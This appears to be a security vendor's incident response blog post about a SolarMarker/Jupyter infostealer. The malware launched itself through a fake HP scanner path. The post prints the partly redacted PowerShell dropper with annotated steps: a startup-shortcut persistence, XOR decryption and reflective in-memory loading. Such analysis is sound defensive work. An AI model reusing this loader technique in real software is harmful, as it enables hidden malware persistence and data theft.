We don’t use HP printers here!
It was a Saturday morning; we were attending the shift and unanticipatedly, our Incident Response ticket count was low. Naturally, this was a good time to review the incidents which occurred last week and maybe learn something new and interesting!
We observed a device with multiple detections this week, and this raised our interest to explore a bit more. We noted “PowerShell with -bypass argument fired” and “recurring infection on the same device fired”.
This made us curious to dig into the alerts and we noticed that the HP path was used. The user mentioned – this may be related to an HP printer. So far, it sounded about right. When we checked again with the device owner, it revealed that they use a Lexmark printer (?!). We realized something looked suspicious here!
When we checked in the ticket details, a weird command was observed:
"C:\WINDOWS\system32\Cmd.exe" /c @StARt "" "C:\Program Files (x86)\HP\HP Color LaserJet Pro MFP M277\bin\HPScan.exe" && "C:\Users\victim\AppData\Roaming\MICROsoFT\GDUB\zSjYRoPX.CMd
As you may observe, we can see here a process start command for “HPScan.exe” and an irregular name batch script. Post retrieving the script file from the device using LIVE response, we noticed the following (OMG!):
@cmd /c powershell -windowstyle hidden -ep bypass -command "$a26ad1f185542f82fba33a0677c6f=$env:appdata+'\microsoft\windows\start menu\programs\startup\ae93d7a27de4b09d903cffaa77a7b.lnk';if(-not(test-path $a26ad1f185542f82fba33a0677c6f)){$a82fc65708a4c78c14926975eac33=new-object -comobject <REDACTED> -bxor fc098416c4848afad692ce862333349da1.count){$a4baee6748f4fabb071fe1b31d642=$a8fc098416c4848afad692ce86233.length}}};[system.reflection.assembly]::load($a886dc737db4498b359af03349da1);[d.m]::run()}"
Before we break it down, a few notes:
- The cosmetic changes took some time to complete, and in the meantime, the device was isolated using our SOAR platform.
- We recommend using Cyber Chef when performing such kind of activities. In case, if you are unfamiliar with CyberChef, it’s high time – we would recommend you get acquainted with it.
We have redacted {,} and the font of the comments (####) is different (so you can browse it pleasantly).
$alpha=$env:appdata+'\microsoft\windows\start menu\programs\startup\ae93d7a27de4b09d903cffaa77a7b.lnk';
### check if $alpha exists [Percistance] if false create ###
if(-not(test-path $alpha))$beta=new-object -comobject wscript.shell; $charlie=$beta.createshortcut($alpha); $charlie.windowstyle=7;
if((get-process -name '*powershell*').count -lt 15)
### Check if there are less then 15 instances of PowerShell.exe running ###
$charlie.targetpath='c:\users\victim\appdata\roaming\microsoft\gdub\zsjyropx.cmd';$charlie.save(); $delta='Xm9FREc+emtuUGxhW<REDACTED>0aiVAe1hhbA==';
### Populate $delta variable with decryption static XOR key ###
$hexa=[system.io.file]::readallbytes([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('QzpcVXNl<REDACTED>R2VmpGYQ==')));
### Read this Base64 encrypted string before decryption routine###for($fiddle=0; $fiddle -lt $hexa.count;)
### First for loop, we go for decryption routine ###for($bad=0; $bad -lt $delta.length; $bad++)
### Second for loop for decryption routine ###$hexa[$fiddle]=$hexa[$fiddle] -bxor $delta[$bad]; $fiddle++;
### XOR decode ###if($fiddle -ge $hexa.count)
### Check if $fiddle is greater or equal to $hexa.count ###$bad=$delta.length
### set $bad variable as $delta.length ### [system.reflection.assembly]::load($hexa); [d.m]::run()
### load decrypted $hexa into memory and execute ###
Moving from here, we found an encrypted DLL which was written when the dropper was initially executed. We linked this DLL with an executable (0 positive engines detections in VT), which was downloaded by the end user, a few days back from an unfamiliar location. A crucial note here, the executable was 130MB in size, we believe the intent here is to avoid dynamic analysis solutions that perform an auto submission.
We verified with our Incident Response team (from a different shift) and recognized that this is one and the only instance which appeared in the entire organization. We further moved ahead with an intelligence check regarding this potential threat – blacklisting the IOC and tuning the Incident Response Plan (IRP) to handle recurring infections.
Using static analysis and our intelligence-related research techniques, we identified a related artifact – “Solar Market Backdoor” burned into the dll. We were then able to relate it with “JUPYTER INFOSTEALER” malware.
Infostealer is a form of malware that emphasizes gathering and exfiltrating data from a targeted system. The one we identified performed the following actions:
- Initially the dropper downloads and executes the actual malware
- The sample, in this case, was using PoshC2 (open-source GitHub project) in order to create a persistent mechanism that touched upon above
- Multiple PowerShell scripts and commands were executed
- Shellcode was injected into legitimate Windows processes
- It further collects multiple details, including the following:
- Computer name
- OS version
- architecture
- permissions
- UID (unique identifier)
- Upload stolen data to an attacker-controlled server
- each affected device has its own HWID, 32 random bytes saved to disk under solarmarker.dat
Way forward, we would try to get an answer to the following key questions:
- What precisely was exfiltrated from the device?
- Is the organization under an active targeted attack?
- Is this a fresh tactic with the double command line, re: HPscan reference?
Visit our blog or Follow Us on Facebook for the latest news and insights on cybersecurity.
Stay Safe with TrustNet!